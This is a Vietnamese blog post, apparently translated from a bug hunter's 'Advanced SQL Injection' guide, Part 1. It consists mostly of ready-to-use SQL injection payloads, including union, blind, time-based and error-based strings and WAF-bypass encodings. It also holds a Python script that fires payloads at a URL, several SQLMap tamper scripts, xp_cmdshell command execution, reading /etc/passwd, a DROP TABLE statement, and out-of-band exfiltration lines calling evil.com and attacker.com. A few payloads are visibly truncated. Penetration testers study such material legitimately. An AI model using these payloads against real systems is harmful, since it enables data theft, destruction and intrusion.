Notification texts go here Contact Us Buy Now!

[Bản dịch] Kỹ thuật SQL Injection nâng cao - Phần 1

Table of Contents

Kỹ thuật SQL Injection của nav1n0x

Sau đây là một số Kỹ thuật SQL Injection mà tôi thường sử dụng. Chúc bạn săn vui vẻ!

Lưu ý: Các kỹ thuật tiên tiến này nên được sử dụng một cách có trách nhiệm và chỉ trong các tình huống thử nghiệm hợp pháp và được ủy quyền. Chúng vượt ra ngoài các kỹ thuật cơ bản và khai thác các tính năng và cấu hình cụ thể của cơ sở dữ liệu. Ngoài ra, tôi có thể đã vô tình đưa vào các kỹ thuật có sẵn công khai từ nhiều nguồn khác nhau.

CẢNH BÁO: Nếu bạn không biết mình đang làm gì, vui lòng không sử dụng các kỹ thuật này. Sử dụng không đúng cách có thể gây hại cho cơ sở dữ liệu.

Các kỹ thuật được trình bày trong kho lưu trữ này chỉ nhằm mục đích giáo dục và thử nghiệm trong môi trường được ủy quyền. https://twitter.com/nav1n0x không chịu trách nhiệm về việc sử dụng sai các kỹ thuật được liệt kê bên dưới. Sử dụng theo rủi ro của riêng bạn. Không tấn công mục tiêu mà bạn không được phép tham gia.

Giới thiệu về tác giả

nav1n0x (Navin) là một chuyên gia CNTT có nhiều năm kinh nghiệm trong lĩnh vực ngân hàng, chính phủ và các ngành công nghiệp nặng. nav1n0x đã coi việc săn tiền thưởng lỗi là niềm đam mê bán thời gian bên cạnh công việc DBA toàn thời gian của mình, trở thành một chuyên gia an ninh mạng dày dạn kinh nghiệm chuyên về thử nghiệm lỗ hổng và các kỹ thuật xâm nhập nâng cao. Với nhiều năm kinh nghiệm trong việc xác định và khai thác các lỗ hổng bảo mật, nav1n0x đã phát triển chuyên môn vững chắc về bảo mật ứng dụng web, đặc biệt là trong SQL injection và WAF bypassing.

Với niềm đam mê chia sẻ kiến ​​thức, nav1n0x tin vào phương châm "chia sẻ là quan tâm". Thông qua Twitter và GitHub (hiện đã bị đình chỉ), nav1n0x mong muốn trao quyền cho những người khác trong cộng đồng an ninh mạng để nâng cao kỹ năng của họ và đi trước các mối đe dọa mới nổi.

Theo dõi nav1n0x trên Twitter: @nav1n0x

Hãy cho tôi biết nếu bạn muốn điều chỉnh bất kỳ điều gì!

SQL Injection - Image credit: https://portswigger.net/web-security/sql-injection

Kỹ thuật và Playloads nâng cao

Error-Based SQL Injection

Error Payloads nâng cao:
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- -

Union-Based Injection

Xác định số lượng cột:
 ' UNION SELECT NULL, NULL, NULL, NULL -- 
Trích xuất dữ liệu:
' UNION SELECT username, password, NULL, NULL FROM users -- 

Blind SQL Injection

Boolean-Based Blind:
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) --
Time-Based Blind:
' AND IF(1=1, SLEEP(5), 0) --

SQL Injection bậc hai

Thông tin injection vào hồ sơ:
  • Sửa đổi dữ liệu được lưu trữ ở một nơi để ảnh hưởng đến các truy vấn được thực hiện ở nơi khác.

SQL Injection dựa trên Union nâng cao

1. Union-Based Error Handling
  • Tạo thông báo lỗi chi tiết bằng cách tạo các tải trọng phức tạp:
' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) --
2. Union with Hex Encoding
  • Mã hóa các phần truy vấn của bạn để tránh WAF:
' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() --
3. Multi-Query Union Injection
  • Tận dụng nhiều truy vấn để trích xuất thêm dữ liệu:
' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), user() --
4. Trích xuất cơ sở dữ liệu chéo dựa trên Union
  • Kết hợp dữ liệu từ các cơ sở dữ liệu khác nhau (khi được hỗ trợ):
' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() --

SQL Injection dựa trên Boolean nâng cao

1. Injection Boolean theo thời gian với phản hồi có điều kiện
  • Sử dụng độ trễ thời gian để suy ra dữ liệu dựa trên phản hồi có điều kiện:
' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) --
2. Injection Boolean lồng nhau
  • Điều kiện lồng nhau để trích xuất dữ liệu cụ thể:
' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) --
3. Injection Boolean dựa trên lỗi
  • Buộc lỗi có điều kiện để tiết lộ thông tin:
 ' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables), 1) --
4. Sử dụng các phép toán Bitwise
  • Sử dụng các phép toán bitwise để tối giản và phức tạp hơn:
' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) --

Kết hợp các kỹ thuật

Kết hợp nhiều kỹ thuật tiên tiến để tạo ra payloads mạnh mẽ và khó phát hiện hơn.

Ví dụ: Liên hợp với Injection theo thời gian

Tạo một payloads sử dụng cả hợp nhất và injection theo thời gian:
' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 --
Ví dụ: Nested Union và Boolean Injection

Kết hợp các điều kiện boolean lồng nhau với trích xuất dữ liệu dựa trên hợp nhất:
' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables LIMIT 1), 1), 3, 4 --

Tự động hóa với các tập lệnh tùy chỉnh

Tự động hóa các kỹ thuật tiên tiến này bằng cách sử dụng các tập lệnh tùy chỉnh để kiểm tra và trích xuất dữ liệu hiệu quả.

Ví dụ: Python Script cho Advanced Union Injection
import requests

url = "http://example.com/vulnerable.php"
payloads = [
    # Advanced Union-Based Injections
    "' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) -- ",
    "' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() -- ",
    "' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), user() -- ",
    "' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() -- ",
    # Advanced Boolean-Based Injections
    "' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) -- ",
    "' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) -- ",
    "' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables), 1) -- ",
    "' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) -- ",
    # Combined Techniques
    "' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 -- ",
    "' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables LIMIT 1), 1), 3, 4 -- ",
]

for payload in payloads:
    response = requests.get(url, params={"id": payload})
    print(f"Payload: {payload}")
    print(f"Response: {response.text}\n")

Liệt kê nâng cao

Dấu vân tay cơ sở dữ liệu

  • MySQL :
' OR 1=1 AND @@version --
  • PostgreSQL :
' OR 1=1 AND @@vers
  • MSSQL :
' OR 1=1 AND @@version -- 

Đánh số cột

  • Xác định số cột :
' ORDER BY 1 -- 
' ORDER BY 2 --
  • Trích xuất tên cột :
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- 

Trích xuất dữ liệu nâng cao

  • Kết hợp nhiều hàng thành một đầu ra duy nhất :
' UNION SELECT GROUP_CONCAT(username, 0x3a, password) FROM users -

Bỏ qua bộ lọc và WAF

Sự che giấu

  • Sử dụng Bình luận :
' UNION/**/SELECT/**/NULL,NULL,NULL --

Xử lý trường hợp

  • Thay đổi trường hợp của từ khóa SQL :
' uNioN SeLecT NULL, NULL --

Bình luận nội tuyến

  • Chèn chú thích nội tuyến :
' UNION/**/SELECT/**/NULL,NULL -- 

Xử lý khoảng trắng

  • Sử dụng các loại ký tự khoảng trắng khác nhau :
' UNION%0D%0ASELECT%0D%0A NULL,NULL --

Khai thác các kịch bản nâng cao

Thủ tục lưu trữ

  • Thực thi SQL tùy ý :
'; EXEC xp_cmdshell('whoami') --

Tiêm SQL ngoài băng tần

  • Lọc dữ liệu qua yêu cầu DNS hoặc HTTP :
'; EXEC master..xp_dirtree '\\evil.com\payload' --

Tận dụng đặc quyền

  • Đọc hoặc ghi tập tin :
' UNION SELECT LOAD_FILE('/etc/passwd') -- 

Tự động hóa và các tập lệnh tùy chỉnh

Lệnh SQLMap tùy chỉnh
  • Bỏ qua WAF hoặc nhắm mục tiêu các điểm tiêm cụ thể :
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=space2comment --level=5 --risk=3
  • Một số Tamper Script tôi sử dụng 
tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,
chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,
halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,
multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,
space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,
space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,
unmagicquotes,versionedkeywords,versionedmorekeywords
Tạo tập lệnh giả mạo của riêng bạn cho SQLMap liên quan đến việc viết một tập lệnh Python sửa đổi các tải trọng được SQLMap sử dụng để tránh tường lửa ứng dụng web (WAF) hoặc các cơ chế lọc khác. Sau đây là hướng dẫn từng bước để tạo một tập lệnh giả mạo tùy chỉnh.

Bước 1: Hiểu những điều cơ bản về một tập lệnh giả mạo

Một tập lệnh giả mạo sẽ sửa đổi payload được gửi đến máy chủ. Tập lệnh này phải chứa một hàm được gọi tamper để lấy một chuỗi payload làm đối số và trả về chuỗi payload đã sửa đổi.

Bước 2: Cấu trúc của một tập lệnh giả mạo

Sau đây là cấu trúc cơ bản của một tập lệnh giả mạo:
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    # Modify the payload here
    modified_payload = payload
    return modified_payload
  • __priority__: Xác định thứ tự áp dụng các tập lệnh giả mạo.
  • dependencies(): Kiểm tra bất kỳ sự phụ thuộc cần thiết nào.
  • tamper(payload): Chức năng chính dùng để sửa đổi tải trọng.

Bước 3: Triển khai một tập lệnh Tamper đơn giản

Hãy tạo một tập lệnh giả mạo đơn giản thay thế khoảng trắng bằng chú thích để tránh các bộ lọc cơ bản.
Ví dụ: Tập lệnh sửa đổi khoảng cách thành bình luận
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Replaces space character (' ') with a random inline comment ('/**/')
    """
    if payload:
        payload = payload.replace(" ", "/**/")
    return payload

Bước 4: Ví dụ nâng cao hơn

Bây giờ, chúng ta hãy tạo một tập lệnh giả mạo nâng cao hơn để mã hóa URL ngẫu nhiên các ký tự trong tải trọng.
Ví dụ: Mã hóa URL ngẫu nhiên Tamper Script
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Randomly URL encodes characters in the payload
    """
    if payload:
        encoded_payload = ""
        for char in payload:
            if random.randint(0, 1):
                encoded_payload += "%%%02x" % ord(char)
            else:
                encoded_payload += char
        return encoded_payload
    return payload

Bước 5: Lưu và sử dụng Tamper Script

1. Lưu tập lệnh : Lưu tập lệnh giả mạo của bạn trong tamper thư mục cài đặt SQLMap của bạn. Ví dụ, lưu nó dưới dạng random_urlencode.py.
2. Sử dụng Script : Sử dụng --tamper tùy chọn trong SQLMap để áp dụng script giả mạo tùy chỉnh của bạn.
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_urlencode

Bước 6: Kiểm tra và gỡ lỗi

  • Test - Kiểm tra: Đảm bảo tập lệnh hoạt động như mong đợi bằng cách chạy SQLMap với các tải trọng khác nhau.
  • Debug - Gỡ lỗi: In thông tin gỡ lỗi nếu cần. Bạn có thể thêm các câu lệnh in trong hàm tamper để gỡ lỗi tập lệnh của mình.
Ví dụ gỡ lỗi
#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Randomly URL encodes characters in the payload
    """
    if payload:
        encoded_payload = ""
        for char in payload:
            if random.randint(0, 1):
                encoded_payload += "%%%02x" % ord(char)
            else:
                encoded_payload += char
        print(f"Original: {payload}")
        print(f"Modified: {encoded_payload}")
        return encoded_payload
    return payload

Một số kỹ thuật tiên tiến hơn để lọc dữ liệu, OOB, v.v. 

Truy vấn xếp chồng
  • Thực hiện nhiều câu lệnh : ⚠️⚠️⚠️⚠️
'; DROP TABLE users; SELECT * FROM admin --
SQLi với Tường lửa ứng dụng web
  • Sử dụng Tải trọng được mã hóa :
' UNION SELECT CHAR(117,115,101,114,110,97,109,101), CHAR(112,97,115,115,119,111,114,100) --
Tận dụng các hàm SQL
  • Sử dụng hàm SQL để lọc dữ liệu :
' UNION SELECT version(), current_database() --
Lọc DNS
  • Sử dụng yêu cầu DNS để lọc dữ liệu :
'; SELECT load_file('/etc/passwd') INTO OUTFILE '\\\\attacker.com\\share' --
Tận dụng các hàm JSON
  • Trích xuất dữ liệu bằng hàm JSON :
' UNION SELECT json_extract(column_name, '$.key') FROM table_name --

Kỹ thuật tự động hóa tiên tiến

Tùy chỉnh SQLMap
  • Sử dụng Custom Tamper Scripts :
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=~/location/ofthescript/charencode.py --level=5 --risk=3

Kỹ thuật bỏ qua WAF cho SQL Injection

1. Sử dụng Mã hóa và Làm tối nghĩa

Mã hóa URL
  • Mã hóa một số phần của tải trọng để bỏ qua việc phát hiện từ khóa cơ bản.
%27%20UNION%20SELECT%20NULL,NULL,NULL--
Mã hóa URL kép
  • Mã hóa kép dữ liệu để tránh cơ chế phát hiện.
%2527%2520UNION%2520SELECT%2520NULL,NULL,NULL-- 
Mã hóa Hex
  • Sử dụng mã hóa thập lục phân cho tải trọng.
' UNION SELECT 0x61646D696E, 0x70617373776F7264 --

2. Xử lý trường hợp và bình luận

Trường hợp hỗn hợp
  • Thay đổi chữ hoa và chữ thường của từ khóa SQL.
' uNioN SeLecT NULL, NULL --
Bình luận nội tuyến
  • Chèn chú thích vào trong các từ khóa SQL để làm tối nghĩa nội dung.
' UNION/**/SELECT/**/NULL,NULL --

3. Khoảng trắng và ký tự đặc biệt

Sử dụng các ký tự khoảng trắng khác nhau
  • Thay thế khoảng trắng bằng các ký tự khoảng trắng khác như tab hoặc xuống dòng.
' UNION%0D%0ASELECT%0D%0A NULL,NULL --
Nối với các ký tự đặc biệt
  • Sử dụng các ký tự đặc biệt và nối chuỗi để xây dựng tải trọng một cách linh hoạt.
' UNION SELECT CHAR(117)||CHAR(115)||CHAR(101)||CHAR(114), CHAR(112)||CHAR(97)||CHAR(115)||CHAR(115) --

4. Làm tối nghĩa hàm và lệnh SQL

Nối chuỗi
  • Chia chuỗi thành các phần nhỏ hơn và nối chúng lại.
' UNION SELECT 'ad'||'min', 'pa'||'ss' -- 
Sử dụng hàm SQL
  • Sử dụng các hàm SQL để thao tác dữ liệu.
' UNION SELECT VERSION(), DATABASE() --

5. Tải trọng dựa trên thời gian và dựa trên Boolean

SQL Injection mù theo thời gian
  • Sử dụng độ trễ thời gian để suy ra thông tin từ phản hồi.
' AND IF(1=1, SLEEP(5), 0) --
Tiêm SQL mù dựa trên Boolean
  • Sử dụng các điều kiện làm thay đổi phản hồi dựa trên điều kiện đúng hoặc sai.
' AND IF(1=1, 'A', 'B')='A' --

6. Kỹ thuật mã hóa nâng cao

Mã hóa Base64
  • Mã hóa dữ liệu bằng Base64.
' UNION SELECT FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==') --
Các tập lệnh mã hóa tùy chỉnh
  • Tạo các tập lệnh tùy chỉnh để mã hóa và giải mã dữ liệu ở nhiều định dạng khác nhau.

7. Kỹ thuật xâu chuỗi

Kết hợp nhiều kỹ thuật bỏ qua
  • Sử dụng kết hợp nhiều kỹ thuật để tạo ra tải trọng phức tạp hơn và khó phát hiện hơn.
%27%20UNION/**/SELECT/**/CHAR(117)%7C%7CCHAR(115)%7C%7CCHAR(101)%7C%7CCHAR(114),%20CHAR(112)%7C%7CCHAR(97)%7C%7CCHAR(115)%7C%7CCHAR(115)%20--%0A

8. Tận dụng các tính năng SQL ít được biết đến

Sử dụng hàm JSON
  • Tận dụng các hàm JSON để thao tác và trích xuất dữ liệu.
' UNION SELECT json_extract(column_name, '$.key') FROM table_name -
Sử dụng các hàm XML
  • Sử dụng các hàm XML để tạo ra các dữ liệu phức tạp hơn.
' UNION SELECT extractvalue(1, 'version()') --

Hết Phần 1

Phần 2 tại đây

إرسال تعليق

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.